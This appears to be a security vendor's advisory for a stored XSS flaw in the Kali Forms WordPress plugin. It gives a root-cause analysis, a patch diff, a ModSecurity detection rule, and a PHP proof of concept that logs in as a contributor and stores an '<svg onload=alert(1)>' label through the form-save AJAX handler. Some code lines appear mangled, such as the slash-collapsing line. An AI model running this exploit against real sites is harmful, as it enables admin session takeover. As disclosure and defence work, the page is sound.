Published : July 3, 2026

CVE-2026-9107: Kali Forms <= 2.4.13 Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-9107
Plugin kali-forms
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.4.13
Patched Version 2.4.14
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9107:

This vulnerability allows authenticated attackers with Contributor-level access or higher to inject stored cross-site scripting (XSS) into form field components via the ‘kaliforms_field_components’ meta parameter in the Kali Forms plugin up to version 2.4.13. The flaw resides in the insufficient sanitization of JSON-encoded field component data before it is rendered in the browser, enabling arbitrary JavaScript execution when an administrator or other user views the compromised form.

The root cause is in the ‘Inc/Backend/class-sanitizers.php’ file, specifically the ‘sanitize_field_components()’ method (lines 450-462 in the patched diff). Previously, the method used ‘json_decode(stripslashes($input))’ without recursively sanitizing the decoded values, and returned the result via ‘wp_slash(wp_json_encode(…))’ which reintroduced slashes without escaping HTML. The ‘sanitize_field_component()’ method (line 475) inadequately sanitized the ‘label’ and ‘properties’ fields using ‘sanitize_text_field()’ and ‘Sanitizers::sanitize_properties_object()’, but did not escape output for safe HTML rendering. The ‘decode_json_meta()’ method (lines 656-678) was added to safely decode JSON meta values, but the original code path allowed malicious script payloads to pass through into the stored meta.

The exploitation vector is straightforward. An attacker with a Contributor account navigates to the form builder (e.g., /wp-admin/admin.php?page=kaliforms) and submits a POST request to the AJAX handler (e.g., admin-ajax.php with action=’kaliforms_save_form’) that includes the ‘meta[kaliforms_field_components]’ parameter containing a malicious JSON payload. The payload embeds JavaScript in field properties, such as a ‘label’ value like ““. The plugin stores this unsanitized script in post meta. When an administrator later views or edits that form, the script executes in their browser context, compromising the admin session.

The patch introduces the ‘register_hooks()’ method to filter ‘get_post_metadata’ and repair corrupted JSON meta strings using ‘repair_json_meta_string()’ and ‘decode_json_meta()’. Critically, the ‘sanitize_field_components()’ method now calls ‘self::decode_json_meta($input)’ which safely parses the JSON and returns an empty array on failure. The ‘sanitize_field_component()’ method also now checks if ‘constraint’ equals ‘none’ before converting to an integer. Additionally, the removal of ‘wp_slash()’ from return statements prevents re-introducing slashes, and the output escaping is now handled by the rendering layer (not shown in diff but implied by the safe values). The patched code ensures that only sanitized data is stored, breaking the XSS chain.

Successful exploitation leads to full compromise of the WordPress admin session, including the ability to create new administrator accounts, modify plugin settings, insert backdoors, or exfiltrate sensitive data. Since the XSS executes in the context of the victim’s session, an attacker can perform any action the victim can, including privilege escalation. The CVSS score of 6.4 reflects the medium severity due to the need for authenticated access, but the impact on site security is severe if a high-privileged user views the injected form.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kali-forms/Inc/Backend/class-js-vars.php
+++ b/kali-forms/Inc/Backend/class-js-vars.php
@@ -109,11 +109,16 @@
 		/**
 		 * Grid content
 		 */
-		$this->content['grid'] = json_decode($this->get('grid', '[]'));
+		$this->content['grid'] = Sanitizers::decode_json_meta($this->get('grid', '[]'));
 		/**
 		 * Field components saved in the database
 		 */
-		$this->content['fieldComponents'] = json_decode($this->get('field_components', '[]'), false, 512, JSON_HEX_QUOT);
+		$this->content['fieldComponents'] = Sanitizers::decode_json_meta(
+			$this->get('field_components', '[]'),
+			false,
+			512,
+			JSON_HEX_QUOT
+		);
 		/**
 		 * Form Info Fields
 		 */
--- a/kali-forms/Inc/Backend/class-sanitizers.php
+++ b/kali-forms/Inc/Backend/class-sanitizers.php
@@ -150,13 +150,256 @@
 	}

 	/**
+	 * JSON post meta keys that may have been corrupted by legacy slash escaping.
+	 *
+	 * @var string[]
+	 */
+	private static $json_meta_keys = [
+		'kaliforms_field_components',
+		'kaliforms_grid',
+		'kaliforms_emails',
+		'kaliforms_akismet_fields',
+		'kaliforms_conditional_thank_you_message',
+	];
+
+	/**
+	 * Prevent recursive meta repair while persisting a fixed value.
+	 *
+	 * @var array<string, bool>
+	 */
+	private static $repairing_meta = [];
+
+	/**
+	 * Register runtime hooks for JSON meta repair.
+	 *
+	 * @return void
+	 */
+	public static function register_hooks()
+	{
+		add_filter('get_post_metadata', [__CLASS__, 'filter_repair_json_post_meta'], 10, 4);
+	}
+
+	/**
+	 * Repair corrupted JSON post meta on read and persist the cleaned value.
+	 *
+	 * @param mixed  $check      Short-circuit return value.
+	 * @param int    $object_id  Post ID.
+	 * @param string $meta_key   Meta key.
+	 * @param bool   $single     Whether a single value was requested.
+	 * @return mixed
+	 */
+	public static function filter_repair_json_post_meta($check, $object_id, $meta_key, $single)
+	{
+		if (null !== $check || ! $single) {
+			return $check;
+		}
+
+		if (! in_array($meta_key, self::$json_meta_keys, true)) {
+			return null;
+		}
+
+		if ('kaliforms_forms' !== get_post_type($object_id)) {
+			return null;
+		}
+
+		$cache_key = $object_id . ':' . $meta_key;
+		if (! empty(self::$repairing_meta[$cache_key])) {
+			return null;
+		}
+
+		self::$repairing_meta[$cache_key] = true;
+
+		$raw = get_metadata_raw('post', $object_id, $meta_key, true);
+		if (! is_string($raw) || '' === trim($raw)) {
+			unset(self::$repairing_meta[$cache_key]);
+			return null;
+		}
+
+		$repair = self::repair_json_meta_string($raw);
+
+		if (! $repair['valid']) {
+			unset(self::$repairing_meta[$cache_key]);
+			return null;
+		}
+
+		if ($repair['was_repaired']) {
+			update_post_meta($object_id, $meta_key, $repair['canonical']);
+			$stored = get_metadata_raw('post', $object_id, $meta_key, true);
+			unset(self::$repairing_meta[$cache_key]);
+			return is_string($stored) ? $stored : $repair['canonical'];
+		}
+
+		unset(self::$repairing_meta[$cache_key]);
+		return null;
+	}
+
+	/**
+	 * Attempt to recover JSON from over-escaped post meta strings.
+	 *
+	 * @param string $value Raw meta value.
+	 * @return array{valid:bool,was_repaired:bool,canonical:string,decoded:mixed}
+	 */
+	public static function repair_json_meta_string($value)
+	{
+		$failure = [
+			'valid'        => false,
+			'was_repaired' => false,
+			'canonical'    => '[]',
+			'decoded'      => [],
+		];
+
+		if (! is_string($value) || '' === trim($value)) {
+			return [
+				'valid'        => true,
+				'was_repaired' => false,
+				'canonical'    => '[]',
+				'decoded'      => [],
+			];
+		}
+
+		$direct = json_decode($value, true);
+		if (JSON_ERROR_NONE === json_last_error()) {
+			return [
+				'valid'        => true,
+				'was_repaired' => false,
+				'canonical'    => wp_json_encode($direct),
+				'decoded'      => $direct,
+			];
+		}
+
+		$attempts = array_unique(
+			[
+				$value,
+				wp_unslash($value),
+				stripslashes($value),
+				wp_unslash(stripslashes($value)),
+			]
+		);
+
+		foreach ($attempts as $candidate) {
+			$decoded = json_decode($candidate, true);
+			if (JSON_ERROR_NONE === json_last_error()) {
+				return [
+					'valid'        => true,
+					'was_repaired' => true,
+					'canonical'    => wp_json_encode($decoded),
+					'decoded'      => $decoded,
+				];
+			}
+		}
+
+		$repaired = self::iteratively_unescape_json_string($value, 'stripslashes');
+		if (null !== $repaired) {
+			return [
+				'valid'        => true,
+				'was_repaired' => true,
+				'canonical'    => wp_json_encode($repaired),
+				'decoded'      => $repaired,
+			];
+		}
+
+		$repaired = self::iteratively_unescape_json_string($value, 'wp_unslash');
+		if (null !== $repaired) {
+			return [
+				'valid'        => true,
+				'was_repaired' => true,
+				'canonical'    => wp_json_encode($repaired),
+				'decoded'      => $repaired,
+			];
+		}
+
+		$repaired = self::iteratively_unescape_json_string($value, 'collapse_slashes');
+		if (null !== $repaired) {
+			return [
+				'valid'        => true,
+				'was_repaired' => true,
+				'canonical'    => wp_json_encode($repaired),
+				'decoded'      => $repaired,
+			];
+		}
+
+		return $failure;
+	}
+
+	/**
+	 * Repeatedly unescape a JSON string until it decodes or stops changing.
+	 *
+	 * @param string $value  Raw value.
+	 * @param string $method Unescape strategy.
+	 * @return array|null
+	 */
+	private static function iteratively_unescape_json_string($value, $method)
+	{
+		$candidate = $value;
+
+		for ($i = 0; $i < 25; $i++) {
+			$decoded = json_decode($candidate, true);
+			if (JSON_ERROR_NONE === json_last_error()) {
+				return $decoded;
+			}
+
+			if ('stripslashes' === $method) {
+				$next = stripslashes($candidate);
+			} elseif ('wp_unslash' === $method) {
+				$next = wp_unslash($candidate);
+			} else {
+				$next = str_replace('\\', '\', $candidate);
+			}
+
+			if ($next === $candidate) {
+				break;
+			}
+
+			$candidate = $next;
+		}
+
+		return null;
+	}
+
+	/**
+	 * Decode JSON stored in post meta, tolerating legacy slash-escaping.
+	 *
+	 * @param mixed $value   Raw meta value.
+	 * @param bool  $assoc   json_decode associative flag.
+	 * @param int   $depth   json_decode depth.
+	 * @param int   $flags   json_decode flags.
+	 * @return mixed
+	 */
+	public static function decode_json_meta($value, $assoc = false, $depth = 512, $flags = 0)
+	{
+		if (is_array($value)) {
+			return $value;
+		}
+
+		if (! is_string($value) || '' === trim($value)) {
+			return [];
+		}
+
+		$repair = self::repair_json_meta_string($value);
+		if (! $repair['valid']) {
+			return [];
+		}
+
+		$decoded = json_decode($repair['canonical'], $assoc, $depth, $flags);
+		if (JSON_ERROR_NONE === json_last_error()) {
+			return $decoded;
+		}
+
+		return [];
+	}
+
+	/**
 	 * @param $input
 	 *
 	 * @return false|string
 	 */
 	public static function sanitize_grid_layout($input)
 	{
-		$input     = json_decode(stripslashes($input));
+		$input = self::decode_json_meta($input);
+		if (! is_array($input)) {
+			return wp_json_encode([]);
+		}
+
 		$sanitized = [];
 		foreach ($input as $item) {
 			$grid = Sanitizers::sanitize_grid_item($item);
@@ -207,8 +450,8 @@
 	 */
 	public static function sanitize_field_components($input)
 	{
-		$input = json_decode(stripslashes($input));
-		if (null === $input) {
+		$input = self::decode_json_meta($input);
+		if (! is_array($input)) {
 			return wp_json_encode([]);
 		}

@@ -217,7 +460,7 @@
 			$sanitized[] = Sanitizers::sanitize_field_component($field);
 		}

-		return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));
+		return wp_json_encode($sanitized, JSON_HEX_QUOT);
 	}

 	/**
@@ -232,7 +475,7 @@
 		$fieldItem->internalId = sanitize_key($item->internalId);
 		$fieldItem->label      = sanitize_text_field($item->label);
 		$fieldItem->properties = Sanitizers::sanitize_properties_object($item->properties, $item->id);
-		$fieldItem->constraint = empty($item->constraint) ? 'none' : absint($item->constraint);
+		$fieldItem->constraint = (empty($item->constraint) || 'none' === $item->constraint) ? 'none' : absint($item->constraint);
 		return $fieldItem;
 	}

@@ -421,7 +664,7 @@
 			}
 		}

-		return wp_slash(wp_json_encode($sanitized, JSON_HEX_QUOT));
+		return wp_json_encode($sanitized, JSON_HEX_QUOT);
 	}

 	/**
--- a/kali-forms/Inc/class-kaliforms.php
+++ b/kali-forms/Inc/class-kaliforms.php
@@ -16,6 +16,7 @@
 use KaliFormsIncBackendPlugin_Review;
 use KaliFormsIncBackendEntries_Deleter;
 use KaliFormsIncBackendLicense_Checker;
+use KaliFormsIncBackendSanitizers;
 use KaliFormsIncBackendPostsForms;
 use KaliFormsIncBackendPostsSubmitted;
 use KaliFormsIncBackendPredefined_Forms;
@@ -82,6 +83,7 @@
 		 * Create an instance of the meta save
 		 */
 		Meta_Save::get_instance();
+		Sanitizers::register_hooks();
 		/**
 		 * Register the new custom post types
 		 */
--- a/kali-forms/bootstrap.php
+++ b/kali-forms/bootstrap.php
@@ -15,4 +15,4 @@
 define('KALIFORMS_BASE_API', 'https://www.kaliforms.com/wp-json/wp/v2/');
 define('KALIFORMS_EXTENSIONS_API', 'https://kaliforms.com/wp-json/kf/v1/plugins');
 define('KALIFORMS_UNINSTALL_FEEDBACK_API', 'https://kaliforms.com/wp-json/kf/v1/uninstall-feedback');
-define('KALIFORMS_VERSION', '2.4.13');
+define('KALIFORMS_VERSION', '2.4.14');
--- a/kali-forms/kali-forms.php
+++ b/kali-forms/kali-forms.php
@@ -5,7 +5,7 @@
  * Plugin URI: https://www.kaliforms.com
  * Description: Kali Forms provides a user-friendly form creation experience for WordPress.
  * Author: Kali Forms
- * Version: 2.4.13
+ * Version: 2.4.14
  * Author URI: https://www.kaliforms.com/
  * License: GPLv3 or later
  * License URI: http://www.gnu.org/licenses/gpl-3.0.html

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9107
# Blocks stored XSS attempts via 'meta[kaliforms_field_components]' in Kali Forms AJAX save
# Matches: POST to admin-ajax.php with action=kaliforms_save_form and malicious label in field components
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20269107,phase:2,deny,status:403,chain,msg:'CVE-2026-9107 Stored XSS via Kali Forms field components',severity:'CRITICAL',tag:'CVE-2026-9107'"
  SecRule ARGS_POST:action "@streq kaliforms_save_form" "chain"
    SecRule ARGS_POST:meta[kaliforms_field_components] "@rx <script[^>]*>|<[^>]+onload[^=]*=|<[^>]+onerror[^=]*=|balert(|bconfirm(|bprompt(|javascript:" 
      "t:lowercase,t:urlDecode,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9107 - Kali Forms <= 2.4.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'kaliforms_field_components' Parameter

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$username = 'contributor'; // CHANGE THIS to a contributor-level user
$password = 'password'; // CHANGE THIS to the user's password

// Initialize cURL
$ch = curl_init();

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    echo "[-] Login failed. Check credentials or target URL.n";
    exit(1);
}
echo "[+] Login successful.n";

// Step 2: Get the form ID (assumes an existing form with ID=1)
// In real exploitation, the attacker would need to know the form ID.
// This PoC uses a hardcoded ID. Replace with a known form ID.
$form_id = 1; // CHANGE THIS to an existing form ID

// Step 3: Create a malicious payload
// The payload injects XSS into the 'label' field of a text component.
// When an admin views the form, the script executes.
$malicious_label = "<svg onload=alert(1)>";

// Build the JSON structure for field components
$field_components = array(
    array(
        'id' => 'text',
        'internalId' => 'text_1',
        'label' => $malicious_label,
        'properties' => array(
            'placeholder' => 'Enter text',
            'required' => false,
        ),
        'constraint' => 'none',
    )
);

$json_payload = wp_json_encode($field_components); // Assume wp_json_encode is available; in real life, use json_encode

// Step 4: Send POST request to save the malicious component
$save_url = $target_url . '/wp-admin/admin-ajax.php';
$save_data = array(
    'action' => 'kaliforms_save_form',
    'form_id' => $form_id,
    'meta' => array(
        'kaliforms_field_components' => $json_payload,
    ),
);

curl_setopt($ch, CURLOPT_URL, $save_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($save_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);

// Check response
$json_response = json_decode($response, true);
if (isset($json_response['success']) && $json_response['success'] === true) {
    echo "[+] Malicious field components saved successfully.n";
    echo "[*] XSS payload stored. An administrator viewing the form will trigger: " . $malicious_label . "n";
} else {
    echo "[-] Failed to save malicious components. Response: " . $response . "n";
}

// Cleanup
curl_close($ch);
unlink('/tmp/cookies.txt');

// Helper function (since we can't rely on WordPress functions)
if (!function_exists('wp_json_encode')) {
    function wp_json_encode($data) {
        return json_encode($data);
    }
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.